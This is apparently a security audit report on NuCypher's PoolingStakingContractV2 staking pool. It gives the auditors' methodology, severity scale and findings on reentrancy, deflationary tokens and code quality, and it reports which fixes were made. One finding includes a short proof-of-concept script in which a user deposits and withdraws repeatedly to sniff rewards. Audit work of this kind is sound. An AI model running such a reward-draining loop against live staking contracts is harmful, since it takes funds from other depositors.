The audited scope implements part of a decentralized network for secrets management and dynamic access control.
The scope of the audit includes the following smart contracts at:
The audited commit identifier is 436ae0f134255fabcd49a1d6b5b1eae4fd8c9d51
2 security auditors and 1 tech lead are involved in the work on the audit who check the provided source code independently of each other in accordance with the methodology described below:
- Manual code study.
- Reverse research and study of the architecture of the code based on the source code only.
Stage goals:
* Building an independent view of the project’s architecture.
* Finding logical flaws.
- Manual code check for vulnerabilities from the company's internal checklist.
- The company's checklist is constantly updated based on the analysis of hacks, research and audit of the clients’ code.
Stage goal:
Eliminate typical vulnerabilities (e.g. reentrancy, gas limit, flashloan attacks etc.)
- Detailed study of the project documentation
- Examining contracts tests
- Examining comments in code
- Comparison of the desired model obtained during the study with the reversed view obtained during the blind audit
Stage goal:
Detection of inconsistencies with the desired model
- Cross check: each auditor reviews the reports of the others
- Discussion of the found issues by the auditors
- Formation of a general (merged) report
Stage goals:
* Re-check all the problems for relevance and correctness of the threat level
* Provide the client with an interim report
- Client fixes or comments on every issue
- Upon completion of the bug fixing, the auditors double-check each fix and set the statuses with a link to the fix
Stage goal:
Preparation of the final code version with all the fixes
- CRITICAL: Bugs leading to assets theft, fund access locking, or any other loss funds to be transferred to any party.
- MAJOR: Bugs that can trigger a contract failure. Further recovery is possible only by manual modification of the contract state or replacement.
- WARNINGS: Bugs that can break the intended contract logic or expose it to DoS attacks.
- COMMENTS: Other issues and recommendations reported to/ acknowledged by the team.
Based on the feedback received from the Customer's team regarding the list of findings discovered by the Contractor, they are assigned the following statuses:
- FIXED: Recommended fixes have been made to the project code and no longer affect its security.
- ACKNOWLEDGED: The project team is aware of this finding. Recommendations for this finding are planned to be resolved in the future. This finding does not affect the overall safety of the project.
- NO ISSUE: Finding does not affect the overall safety of the project and does not violate the logic of its work
- NEW: Waiting for project team's feedback on the finding discovered
User can deposit-withdraw tokens several times (at the same transaction), causing reward sniffing. The emulation of this behavior is presented below:
def main():
deployer = accounts[0]
workerOwner = accounts[1]
escrow = deployer.deploy(StakingEscrowMock)
escrow.setAllTokens(9000)
token = deployer.deploy(EasyToken, 1000_000)
stacking = deployer.deploy(PoolingStakingContractV2)
workerFraction = 1
stacking.initialize(workerFraction, token, escrow, workerOwner, {'from': deployer})
stacking.enableDeposit({'from': deployer})
user1 = accounts[2]
user2 = accounts[3]
deployer.transfer(stacking, 6000)
token.mint(user1, 1000_000)
token.mint(user2, 1000_000)
token.approve(stacking, 100_000, {'from': user1})
stacking.depositTokens(100_000, {'from': user1})
for _ in range(100):
token.approve(stacking, 100, {'from': user2})
stacking.depositTokens(100, {'from': user2})
stacking.withdrawAll({'from': user2})
user1_balance = token.balanceOf(user1)
user2_balance = token.balanceOf(user2)
stacking_balance = token.balanceOf(stacking)
print("user1_balance", user1_balance)
print("user2_balance", user2_balance)
print("stacking_balance", stacking_balance)
stacking.withdrawAll({'from': user1}) # >>>> ERROR HERE <<<<
May be add a check in withdrawAll function to requre deposit DISABLED?
Fixed at https://github.com/nucypher/nucypher/commit/afd803d535bafaea26d2fe67e408a42b0608abef
Malicious token/workerOwner may have a reentry callback to the contract here
but the state of the contract changes here
https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L247 it allows to use reentry.
Put transfers as the last statements of the method.
No issue
Token contract is trustable contract, all calls are safe.
The purpose of the contract and the way it will work is not clear from the code.
Also the logic with accumulated getCumulativeReward
and totalWithdrawnReward
must be described in the code as well as the typical scenario of the contract usage.
Add comprehensive docstrings.
Acknowledged
At lines:
- https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L105
- https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L192
- https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L211
- https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L236
- https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L249
- https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L255
- https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L287
Place the transfer
on the last line of the method.
Acknowledged
All contracts that are called from pool are trustable, transfers of ETH are tested for reentrancy.
It might be never known that after calling transfer(value)
the token will really increase someone's balance by value
, some deflation tokens "burn" some value on every transfer call. So the only way to know it is explicitly checking balance of the tokens' owner after transfer.
Add deflation tokens support or explicitly specify in docstring that deflation tokens are not supported.
Acknowledged
It's a common practice to split deposit tokens and rewards tokens into 2 different types of tokens because it's safer and user can always withdraw his deposit. Also, attacks on rewards would not affect the deposit itself.
We recommend to split tokens.
No issue
At the lines:
- https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L28
- https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L152
Make the names more informative (E.g. DepositIsEnabledSet
and getAvailableDelegatorReward
[to avoid double naming])
Fixed at https://github.com/nucypher/nucypher/commit/90b2c4767f63baa5c252ce7e825949543fcf03e2
At the line https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L37
BASIS_FRACTION = 100
is too rough.
It would be better to set it to 10000 or even more to increase accuracy.
Fixed at https://github.com/nucypher/nucypher/commit/90b2c4767f63baa5c252ce7e825949543fcf03e2
https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L40
It's not clear why workerOwner
is a const
.
If it's not supposed to be transferred, write a comment describing this.
No issue
Explicit statements make code more readable. https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L46
Add public
visibility modifier
Acknowledged
Contract is using also as demonstration/example, so
getWorkerFraction
is the main place to calculate final value for worker fraction
Since it will be called by the end-user only, it's better to use external
modifier: https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L59
Use external
modifier
Fixed at https://github.com/nucypher/nucypher/commit/90b2c4767f63baa5c252ce7e825949543fcf03e2
Public attributes already have getters https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L91
Remove the method getWorkerFraction
.
Acknowledged
It's not intuitive what is happening here
- https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L116
- https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L140
Add the comment to the code.
Fixed at https://github.com/nucypher/nucypher/commit/90b2c4767f63baa5c252ce7e825949543fcf03e2
If-else statement is more clear way for complex conditions
Use if-else statement.
Fixed at https://github.com/nucypher/nucypher/commit/90b2c4767f63baa5c252ce7e825949543fcf03e2
It's not clear what is that TODO
about
https://github.com/nucypher/nucypher/blob/main/nucypher/blockchain/eth/sol/source/contracts/staking_contracts/PoolingStakingContractV2.sol#L226
Add more details into commentary
Fixed at https://github.com/nucypher/nucypher/commit/90b2c4767f63baa5c252ce7e825949543fcf03e2
Level | Amount |
---|---|
CRITICAL | 1 |
MAJOR | 1 |
WARNING | 3 |
COMMENT | 10 |
The audited contract implements custom staking pool protocol which manage deposits and rewards.
Smart contracts have been audited and several suspicious places were found. During audit one critical and one major issues were identified as they could lead to some undesired behavior also several issues were marked as warning and comments. After working on audit report all issues were fixed or acknowledged(if issue is not critical or major) by client or concluded as not an issue.
Final commit identifier with all fixes: afd803d535bafaea26d2fe67e408a42b0608abef